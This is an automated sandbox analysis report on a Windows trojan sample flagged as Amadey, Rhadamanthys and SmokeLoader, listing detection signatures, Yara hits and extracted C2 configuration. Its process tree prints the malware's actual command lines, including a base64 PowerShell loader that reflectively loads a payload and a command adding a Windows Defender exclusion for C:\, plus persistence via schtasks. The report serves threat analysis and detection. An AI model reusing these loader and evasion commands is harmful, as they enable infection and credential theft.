Edit tour

Windows Analysis Report
xwREqjHUEv.exe

Overview

General Information

Sample name:	xwREqjHUEv.exe renamed because original name is a hash value
Original sample name:	068c05b9f062da142d266a374866d3bb.exe
Analysis ID:	1423732
MD5:	068c05b9f062da142d266a374866d3bb
SHA1:	315726e1015e1e69cf9645bda713f463e93a8755
SHA256:	cce988ce6f528e02009122396aa4149091dbee5fbe8bcaabffaaa88ae02b127a
Tags:	32exetrojan
Infos:

Detection

Amadey, RHADAMANTHYS, SmokeLoader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus detection for URL or domain

Antivirus detection for dropped file

Benign windows process drops PE files

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for domain / URL

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

System process connects to network (likely due to code injection or exploit)

Yara detected Amadey

Yara detected Amadeys stealer DLL

Yara detected AntiVM3

Yara detected Powershell dedcode and execute

Yara detected RHADAMANTHYS Stealer

Yara detected SmokeLoader

.NET source code contains potential unpacker

Adds a directory exclusion to Windows Defender

Bypasses PowerShell execution policy

C2 URLs / IPs found in malware configuration

Checks for kernel code integrity (NtQuerySystemInformation(CodeIntegrityInformation))

Checks if the current machine is a virtual machine (disk enumeration)

Contains functionality to inject code into remote processes

Creates a thread in another existing process (thread injection)

Creates an undocumented autostart registry key

Encrypted powershell cmdline option found

Found suspicious powershell code related to unpacking or dynamic code loading

Hides that the sample has been downloaded from the Internet (zone.identifier)

Injects code into the Windows Explorer (explorer.exe)

Loading BitLocker PowerShell Module

Machine Learning detection for dropped file

Maps a DLL or memory area into another process

Sample uses string decryption to hide its real strings

Sigma detected: Base64 Encoded PowerShell Command Detected

Sigma detected: PowerShell Base64 Encoded FromBase64String Cmdlet

Sigma detected: PowerShell Base64 Encoded Invoke Keyword

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Tries to harvest and steal Bitcoin Wallet information

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to steal Mail credentials (via file / registry access)

Uses schtasks.exe or at.exe to add and modify task schedules

Very long command line found

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Writes to foreign memory regions

Wscript starts Powershell (via cmd or directly)

AV process strings found (often used to terminate AV products)

Allocates memory with a write watch (potentially for evading sandboxes)

Checks if the current process is being debugged

Contains functionality for read data from the clipboard

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to detect virtual machines (STR)

Contains functionality to dynamically determine API calls

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality to query CPU information (cpuid)

Contains functionality to read the PEB

Contains functionality to shutdown / reboot the system

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Dropped file seen in connection with other malware

Drops PE files

Drops PE files to the windows directory (C:\Windows)

Drops files with a non-matching file extension (content does not match file extension)

Enables debug privileges

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found inlined nop instructions (likely shell or obfuscated code)

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

Internet Provider seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

One or more processes crash

Queries information about the installed CPU (vendor, model number etc)

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries sensitive Operating System Information (via WMI, Win32_ComputerSystem, often done to detect virtual machines)

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Sigma detected: Change PowerShell Policies to an Insecure Level

Sigma detected: Execution of Suspicious File Type Extension

Sigma detected: Powershell Defender Exclusion

Sigma detected: Suspicious Add Scheduled Task Parent

Sigma detected: Suspicious Schtasks From Env Var Folder

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Tries to load missing DLLs

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Yara detected Keylogger Generic

Yara signature match

Classification

Process Tree

System is w10x64

xwREqjHUEv.exe (PID: 1788 cmdline: "C:\Users\user\Desktop\xwREqjHUEv.exe" MD5: 068C05B9F062DA142D266A374866D3BB)

wscript.exe (PID: 6548 cmdline: "wscript.exe" "C:\Users\user\start.vbs" MD5: FF00E0480075B095948000BDC66E81F0)

cmd.exe (PID: 3816 cmdline: C:\Windows\system32\cmd.exe /c ""C:\Users\user\temp.bat" " MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 2788 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 2964 cmdline: "C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -command "[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('ZnVuY3Rpb24gRGVjb21wcmVzc0J5dGVzKCRjb21wcmVzc2VkRGF0YSkgeyAkbXMgPSBbSU8uTWVtb3J5U3RyZWFtXTo6bmV3KChbU3lzdGVtLkNvbnZlcnRdOjpGcm9tQmFzZTY0U3RyaW5nKCRjb21wcmVzc2VkRGF0YSkpKTsgJG1zLlBvc2l0aW9uID0gMDsgJGRlZmxhdGVTdHJlYW0gPSBbSU8uQ29tcHJlc3Npb24uRGVmbGF0ZVN0cmVhbV06Om5ldygkbXMsIFtJTy5Db21wcmVzc2lvbi5Db21wcmVzc2lvbk1vZGVdOjpEZWNvbXByZXNzKTsgJGJ1ZmZlciA9IFtieXRlW11dOjpuZXcoNDA5Nik7ICRtcyA9IFtJTy5NZW1vcnlTdHJlYW1dOjpuZXcoKTsgd2hpbGUgKCR0cnVlKSB7ICRjb3VudCA9ICRkZWZsYXRlU3RyZWFtLlJlYWQoJGJ1ZmZlciwgMCwgJGJ1ZmZlci5MZW5ndGgpOyBpZiAoJGNvdW50IC1lcSAwKSB7IGJyZWFrIH0gJG1zLldyaXRlKCRidWZmZXIsIDAsICRjb3VudCkgfSAkZGVmbGF0ZVN0cmVhbS5DbG9zZSgpOyAkbXMuVG9BcnJheSgpIH0NCg0KZnVuY3Rpb24gUmV2ZXJzZVN0cmluZygkaW5wdXRTdHJpbmcpIHsNCiAgICAkY2hhckFycmF5ID0gJGlucHV0U3RyaW5nLlRvQ2hhckFycmF5KCkgICMgQ29udmVydCBzdHJpbmcgdG8gY2hhcmFjdGVyIGFycmF5DQogICAgJHJldmVyc2VkQXJyYXkgPSAkY2hhckFycmF5Wy0xLi4tKCRjaGFyQXJyYXkuTGVuZ3RoKV0gICMgUmV2ZXJzZSB0aGUgYXJyYXkNCiAgICAkcmV2ZXJzZWRTdHJpbmcgPSAtam9pbiAkcmV2ZXJzZWRBcnJheSAgIyBDb252ZXJ0IHRoZSByZXZlcnNlZCBhcnJheSBiYWNrIHRvIGEgc3RyaW5nDQogICAgcmV0dXJuICRyZXZlcnNlZFN0cmluZw0KfQ0KDQpmdW5jdGlvbiBDbG9zZS1Qcm9jZXNzIHsNCiAgICBwYXJhbSgNCiAgICAgICAgW3N0cmluZ10kUHJvY2Vzc05hbWUNCiAgICApDQoNCiAgICAkcHJvY2VzcyA9IEdldC1Qcm9jZXNzIC1OYW1lICRQcm9jZXNzTmFtZSAtRXJyb3JBY3Rpb24gU2lsZW50bHlDb250aW51ZQ0KDQogICAgaWYgKCRwcm9jZXNzIC1uZSAkbnVsbCkgew0KICAgICAgICBTdG9wLVByb2Nlc3MgLU5hbWUgJFByb2Nlc3NOYW1lIC1Gb3JjZQ0KCX0NCn0NCg0KZnVuY3Rpb24gQ29udmVydC1Bc2NpaVRvU3RyaW5nKCRhc2NpaUFycmF5KXsNCiRvZmZTZXRJbnRlZ2VyPTEyMzsNCiRkZWNvZGVkU3RyaW5nPSROdWxsOw0KZm9yZWFjaCgkYXNjaWlJbnRlZ2VyIGluICRhc2NpaUFycmF5KXskZGVjb2RlZFN0cmluZys9W2NoYXJdKCRhc2NpaUludGVnZXItJG9mZlNldEludGVnZXIpfTsNCnJldHVybiAkZGVjb2RlZFN0cmluZ307DQoNCiRlbmNvZGVkQXJyYXkgPSBAKDE1OSwyMjAsMjM4LDIzOCwyMjQsMjMyLDIyMSwyMzEsMjQ0LDE2OSwxOTIsMjMzLDIzOSwyMzcsMjQ0LDIwMywyMzQsMjI4LDIzMywyMzksMTY5LDE5NiwyMzMsMjQxLDIzNCwyMzAsMjI0LDE2MywxNTksMjMzLDI0MCwyMzEsMjMxLDE2NywxNTksMjMzLDI0MCwyMzEsMjMxLDE2NCwxODIpDQokZGVjb2RlZFN0cmluZyA9IENvbnZlcnQtQXNjaWlUb1N0cmluZyAkZW5jb2RlZEFycmF5DQoNCg0KJGZpbGVQYXRoID0gSm9pbi1QYXRoICRlbnY6VXNlclByb2ZpbGUgIlVuZExkbC5iYXQiDQokbGFzdExpbmUgPSBHZXQtQ29udGVudCAtUGF0aCAkZmlsZVBhdGggfCBTZWxlY3QtT2JqZWN0IC1MYXN0IDENCiRjbGVhbmVkTGluZSA9ICRsYXN0TGluZSAtcmVwbGFjZSAnXjo6Jw0KJHJldmVyc2UgPSBSZXZlcnNlU3RyaW5nICRjbGVhbmVkTGluZQ0KJGRlY29tcHJlc3NlZEJ5dGUgPSBEZWNvbXByZXNzQnl0ZXMgLWNvbXByZXNzZWREYXRhICRyZXZlcnNlDQoNCiRhc3NlbWJseSA9IFtTeXN0ZW0uUmVmbGVjdGlvbi5Bc3NlbWJseV06OkxvYWQoW2J5dGVbXV0kZGVjb21wcmVzc2VkQnl0ZSkNCg0KJGFzc2VtYmx5ID0gW1N5c3RlbS5SZWZsZWN0aW9uLkFzc2VtYmx5XTo6TG9hZChbYnl0ZVtdXSRkZWNvbXByZXNzZWRCeXRlKQ0KDQpJbnZva2UtRXhwcmVzc2lvbiAkZGVjb2RlZFN0cmluZw0KDQpDbG9zZS1Qcm9jZXNzIC1Qcm9jZXNzTmFtZSAiY21kIg==')) | Out-File -FilePath 'C:\Users\user\UndLdl.ps1' -Encoding UTF8" MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

powershell.exe (PID: 5720 cmdline: "C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -File "C:\Users\user\UndLdl.ps1" MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

RegAsm.exe (PID: 6252 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe" MD5: 0D5DF43AF2916F47D00C1573797C1A13)

dialer.exe (PID: 3664 cmdline: "C:\Windows\system32\dialer.exe" MD5: E4BD77FB64DDE78F1A95ECE09F6A9B85)

OpenWith.exe (PID: 6412 cmdline: "C:\Windows\system32\openwith.exe" MD5: E4A834784FA08C17D47A1E72429C5109)

AppLaunch.exe (PID: 3748 cmdline: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe" MD5: E9C3EC13A9C77B393692D748D8EB83CE)

cmd.exe (PID: 4040 cmdline: "cmd.exe" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 3172 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 6056 cmdline: powershell.exe -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\'" MD5: 04029E121A0CFA5991749937DD22A1D9)

WmiPrvSE.exe (PID: 4396 cmdline: C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding MD5: 60FF40CFD7FB8FE41EE4FE9AE5FE1C51)

D4C0.vmt.exe (PID: 5752 cmdline: "C:\Users\user\AppData\Roaming\D4C0.vmt.exe" MD5: B45B01A98A16E750EFE0C5BCE4613896)

explorer.exe (PID: 1028 cmdline: C:\Windows\Explorer.EXE MD5: 662F4F92FDE3557E86D110526BB578D5)

F324.exe (PID: 6204 cmdline: C:\Users\user\AppData\Local\Temp\F324.exe MD5: D9A13BB5645FE754CDC2A10A638660F4)

F557.exe (PID: 3648 cmdline: C:\Users\user\AppData\Local\Temp\F557.exe MD5: F1D836A36148E8D03BF2DF952E970FBD)

Utsysc.exe (PID: 4856 cmdline: "C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe" MD5: F1D836A36148E8D03BF2DF952E970FBD)

schtasks.exe (PID: 4444 cmdline: "C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN Utsysc.exe /TR "C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe" /F MD5: 48C2FE20575769DE916F48EF0676A965)

conhost.exe (PID: 7056 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

explorer.exe (PID: 5084 cmdline: C:\Windows\SysWOW64\explorer.exe MD5: DD6597597673F72E10C9DE7901FBA0A8)

explorer.exe (PID: 2300 cmdline: C:\Windows\explorer.exe MD5: 662F4F92FDE3557E86D110526BB578D5)

explorer.exe (PID: 748 cmdline: C:\Windows\SysWOW64\explorer.exe MD5: DD6597597673F72E10C9DE7901FBA0A8)

explorer.exe (PID: 5380 cmdline: C:\Windows\SysWOW64\explorer.exe MD5: DD6597597673F72E10C9DE7901FBA0A8)

explorer.exe (PID: 7044 cmdline: C:\Windows\explorer.exe MD5: 662F4F92FDE3557E86D110526BB578D5)

explorer.exe (PID: 6756 cmdline: C:\Windows\SysWOW64\explorer.exe MD5: DD6597597673F72E10C9DE7901FBA0A8)

dialer.exe (PID: 6800 cmdline: "C:\Windows\system32\dialer.exe" MD5: E4BD77FB64DDE78F1A95ECE09F6A9B85)

explorer.exe (PID: 3172 cmdline: C:\Windows\SysWOW64\explorer.exe MD5: DD6597597673F72E10C9DE7901FBA0A8)

explorer.exe (PID: 3660 cmdline: C:\Windows\explorer.exe MD5: 662F4F92FDE3557E86D110526BB578D5)

explorer.exe (PID: 3688 cmdline: C:\Windows\SysWOW64\explorer.exe MD5: DD6597597673F72E10C9DE7901FBA0A8)

OpenWith.exe (PID: 2928 cmdline: "C:\Windows\system32\openwith.exe" MD5: E4A834784FA08C17D47A1E72429C5109)

WerFault.exe (PID: 3140 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 6252 -s 720 MD5: C31336C1EFC2CCB44B4326EA793040F2)

gfiecjd (PID: 6768 cmdline: C:\Users\user\AppData\Roaming\gfiecjd MD5: B45B01A98A16E750EFE0C5BCE4613896)

Utsysc.exe (PID: 5572 cmdline: C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe MD5: F1D836A36148E8D03BF2DF952E970FBD)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Amadey	Amadey is a botnet that appeared around October 2018 and is being sold for about $500 on Russian-speaking hacking forums. It periodically sends information about the system and installed AV software to its C2 server and polls to receive orders from it. Its main functionality is that it can load other payloads (called "tasks") for all or specifically targeted computers compromised by the malware.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://asec.ahnlab.com/en/36634/ https://asec.ahnlab.com/en/41450/ https://asec.ahnlab.com/en/44504/ https://bitsight.com/blog/unveiling-socks5systemz-rise-new-proxy-service-privateloader-and-amadey	https://malpedia.caad.fkie.fraunhofer.de/details/win.amadey

Name	Description	Attribution	Blogpost URLs	Link
Rhadamanthys	According to PCrisk, Rhadamanthys is a stealer-type malware, and as its name implies - it is designed to extract data from infected machines.At the time of writing, this malware is spread through malicious websites mirroring those of genuine software such as AnyDesk, Zoom, Notepad++, and others. Rhadamanthys is downloaded alongside the real program, thus diminishing immediate user suspicion. These sites were promoted through Google ads, which superseded the legitimate search results on the Google search engine.	Sandworm	https://blog.cyble.com/2023/01/12/rhadamanthys-new-stealer-spreading-through-google-ads/ https://blog.google/threat-analysis-group/ukraine-remains-russias-biggest-cyber-focus-in-2023 https://elis531989.medium.com/dancing-with-shellcodes-analyzing-rhadamanthys-stealer-3c4986966a88 https://github.com/echocti/ECHO-Reports/blob/main/Malware%20Analysis%20Report/Rhdamanthys/Rhadamanthys-EN.pdf https://info.spamhaus.com/hubfs/Botnet%20Reports/2023%20Q1%20Botnet%20Threat%20Update.pdf	https://malpedia.caad.fkie.fraunhofer.de/details/win.rhadamanthys

Name	Description	Attribution	Blogpost URLs	Link
SmokeLoader	The SmokeLoader family is a generic backdoor with a range of capabilities which depend on the modules included in any given build of the malware. The malware is delivered in a variety of ways and is broadly associated with criminal activity. The malware frequently tries to hide its C2 activity by generating requests to legitimate sites such as microsoft.com, bing.com, adobe.com, and others. Typically the actual Download returns an HTTP 404 but still contains data in the Response Body.	SMOKY SPIDER	http://security.neurolabs.club/2019/08/smokeloaders-hardcoded-domains-sneaky.html http://security.neurolabs.club/2019/10/dynamic-imports-and-working-around.html http://security.neurolabs.club/2020/04/diffing-malware-samples-using-bindiff.html http://security.neurolabs.club/2020/06/unpacking-smokeloader-and.html https://0xc0decafe.com/2020/12/23/detect-rc4-in-malicious-binaries	https://malpedia.caad.fkie.fraunhofer.de/details/win.smokeloader

Malware Configuration

Threatname: SmokeLoader

{"Version": 2022, "C2 list": ["http://atillapro.com/", "https://atillapro.com/"]}

Threatname: Amadey

{"C2 url": "atillapro.com/vsdjcn3khS/index.php", "Version": "4.12"}

Yara Signatures

Dropped Files

Source	Rule	Description	Author
C:\Users\user\AppData\Roaming\gfiecjd	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
C:\Users\user\AppData\Roaming\D4C0.vmt.exe	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
C:\Users\user\UndLdl.ps1	JoeSecurity_PowershellDedcodeAndExecute	Yara detected Powershell dedcode and execute	Joe Security
C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
C:\Users\user\AppData\Local\Temp\F557.exe	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security

Memory Dumps

Source	Rule	Description	Author	Strings
00000016.00000002.2788977995.00000000001F0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
00000016.00000002.2788977995.00000000001F0000.00000004.00001000.00020000.00000000.sdmp	Windows_Trojan_Smokeloader_4e31426e	unknown	unknown	0x5c4:$a: 5B 81 EB 34 10 00 00 6A 30 58 64 8B 00 8B 40 0C 8B 40 1C 8B 40 08 89 85 C0
00000023.00000003.2810520451.00000000031B0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_RHADAMANTHYS	Yara detected RHADAMANTHYS Stealer	Joe Security
00000013.00000002.2538928588.0000000000521000.00000004.10000000.00040000.00000000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
00000013.00000002.2538928588.0000000000521000.00000004.10000000.00040000.00000000.sdmp	Windows_Trojan_Smokeloader_4e31426e	unknown	unknown	0x1c4:$a: 5B 81 EB 34 10 00 00 6A 30 58 64 8B 00 8B 40 0C 8B 40 1C 8B 40 08 89 85 C0
00000017.00000003.2791924717.0000000003B00000.00000004.00000001.00020000.00000000.sdmp	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
00000017.00000003.2809730416.00000000031C0000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_RHADAMANTHYS	Yara detected RHADAMANTHYS Stealer	Joe Security
00000023.00000003.2986526967.0000000005095000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_RHADAMANTHYS	Yara detected RHADAMANTHYS Stealer	Joe Security
00000018.00000002.2762475426.0000000000561000.00000020.00000001.01000000.0000000C.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000013.00000002.2538295136.00000000001F0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
00000013.00000002.2538295136.00000000001F0000.00000004.00001000.00020000.00000000.sdmp	Windows_Trojan_Smokeloader_4e31426e	unknown	unknown	0x5c4:$a: 5B 81 EB 34 10 00 00 6A 30 58 64 8B 00 8B 40 0C 8B 40 1C 8B 40 08 89 85 C0
0000000D.00000003.2222138286.0000024ABA9F1000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_RHADAMANTHYS	Yara detected RHADAMANTHYS Stealer	Joe Security
00000017.00000003.2775779398.0000000000630000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_RHADAMANTHYS	Yara detected RHADAMANTHYS Stealer	Joe Security
00000008.00000003.2105828144.0000000004DC0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_RHADAMANTHYS	Yara detected RHADAMANTHYS Stealer	Joe Security
0000000D.00000003.2511978999.0000024ABABF1000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_RHADAMANTHYS	Yara detected RHADAMANTHYS Stealer	Joe Security
00000008.00000003.2107655935.0000000005680000.00000004.00000001.00020000.00000000.sdmp	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
00000008.00000002.2179795455.0000000004DE0000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_RHADAMANTHYS	Yara detected RHADAMANTHYS Stealer	Joe Security
0000001F.00000000.2780370976.00000000005F1000.00000020.00000001.01000000.0000000F.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000015.00000003.2747569546.000000000B660000.00000004.00000001.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000027.00000003.3073347750.0000022CBCA81000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_RHADAMANTHYS	Yara detected RHADAMANTHYS Stealer	Joe Security
0000001A.00000000.2750807460.00000000005F1000.00000020.00000001.01000000.0000000F.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000016.00000002.2790746450.0000000001EB1000.00000004.10000000.00040000.00000000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
00000016.00000002.2790746450.0000000001EB1000.00000004.10000000.00040000.00000000.sdmp	Windows_Trojan_Smokeloader_4e31426e	unknown	unknown	0x1c4:$a: 5B 81 EB 34 10 00 00 6A 30 58 64 8B 00 8B 40 0C 8B 40 1C 8B 40 08 89 85 C0
00000023.00000003.2824488495.0000000005120000.00000004.00000001.00020000.00000000.sdmp	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
00000018.00000000.2743120667.0000000000561000.00000020.00000001.01000000.0000000C.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000023.00000003.2825213965.0000000005340000.00000004.00000001.00020000.00000000.sdmp	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
0000001F.00000002.2784341103.00000000005F1000.00000020.00000001.01000000.0000000F.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000023.00000002.3026163870.0000000004880000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_RHADAMANTHYS	Yara detected RHADAMANTHYS Stealer	Joe Security
00000007.00000002.2109261264.0000000003610000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_RHADAMANTHYS	Yara detected RHADAMANTHYS Stealer	Joe Security
00000008.00000003.2107848027.00000000058A0000.00000004.00000001.00020000.00000000.sdmp	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
Process Memory Space: powershell.exe PID: 2964	INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC	Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution	ditekSHen	0x2e970:$b2: ::FromBase64String( 0x2f4b3:$b2: ::FromBase64String( 0x337d9:$b2: ::FromBase64String( 0x34428:$b2: ::FromBase64String( 0x34f6c:$b2: ::FromBase64String( 0x377d0:$b2: ::FromBase64String( 0x3830a:$b2: ::FromBase64String( 0x39d2f:$b2: ::FromBase64String( 0x3a86c:$b2: ::FromBase64String( 0x4374c:$b2: ::FromBase64String( 0x46828:$b2: ::FromBase64String( 0x4c4c3:$b2: ::FromBase64String( 0x4e115:$b2: ::FromBase64String( 0x4ec52:$b2: ::FromBase64String( 0x53f96:$b2: ::FromBase64String( 0x54ad0:$b2: ::FromBase64String( 0x6090e:$b2: ::FromBase64String( 0xbcda4:$b2: ::FromBase64String( 0xbd954:$b2: ::FromBase64String( 0xbe497:$b2: ::FromBase64String( 0xd7357:$b2: ::FromBase64String(
Process Memory Space: powershell.exe PID: 5720	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Process Memory Space: powershell.exe PID: 5720	INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC	Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution	ditekSHen	0xa6d01:$b2: ::FromBase64String( 0xab1fc:$b2: ::FromBase64String( 0xf3d94:$b2: ::FromBase64String( 0xfb5ec:$b2: ::FromBase64String( 0x11f9dc:$b2: ::FromBase64String( 0x12c278:$b2: ::FromBase64String( 0x1d59e9:$b2: ::FromBase64String( 0x1de31d:$b2: ::FromBase64String( 0x1e50f3:$b2: ::FromBase64String( 0x1ebba7:$b2: ::FromBase64String( 0x42b5e7:$b2: ::FromBase64String( 0xacb38b:$b2: ::FromBase64String( 0xacd010:$b2: ::FromBase64String( 0xad4de7:$b2: ::FromBase64String( 0xad6b59:$b2: ::FromBase64String( 0xa6ce0:$b3: ::UTF8.GetString( 0xab1db:$b3: ::UTF8.GetString( 0xf3d73:$b3: ::UTF8.GetString( 0xfb5cb:$b3: ::UTF8.GetString( 0x11f9bb:$b3: ::UTF8.GetString( 0x12c257:$b3: ::UTF8.GetString(
decrypted.memstr	JoeSecurity_Amadey_4	Yara detected Amadey	Joe Security
Click to see the 29 entries

Unpacked PEs

Source	Rule	Description	Author
22.2.gfiecjd.400000.0.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
14.2.AppLaunch.exe.1ff003ad060.3.raw.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
19.2.D4C0.vmt.exe.400000.0.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
22.0.gfiecjd.400000.0.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
31.0.Utsysc.exe.5f0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
14.2.AppLaunch.exe.1ff003bd080.0.raw.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
24.0.F557.exe.560000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
26.0.Utsysc.exe.5f0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
31.2.Utsysc.exe.5f0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
19.0.D4C0.vmt.exe.400000.0.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
8.3.dialer.exe.58a0000.7.raw.unpack	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
14.2.AppLaunch.exe.1ff003b4af0.1.raw.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
35.3.dialer.exe.5340000.7.raw.unpack	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
24.2.F557.exe.560000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
8.3.dialer.exe.5680000.6.raw.unpack	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
23.3.F324.exe.3b00000.6.raw.unpack	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
35.3.dialer.exe.5120000.6.raw.unpack	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
23.3.F324.exe.3d20000.7.unpack	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
35.3.dialer.exe.5340000.7.unpack	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
Click to see the 14 entries

Other

Source	Rule	Description	Author	Strings
amsi32_5720.amsi.csv	JoeSecurity_PowershellDedcodeAndExecute	Yara detected Powershell dedcode and execute	Joe Security

Sigma Signatures

System Summary

Sigma detected: Base64 Encoded PowerShell Command Detected

Source: Process started

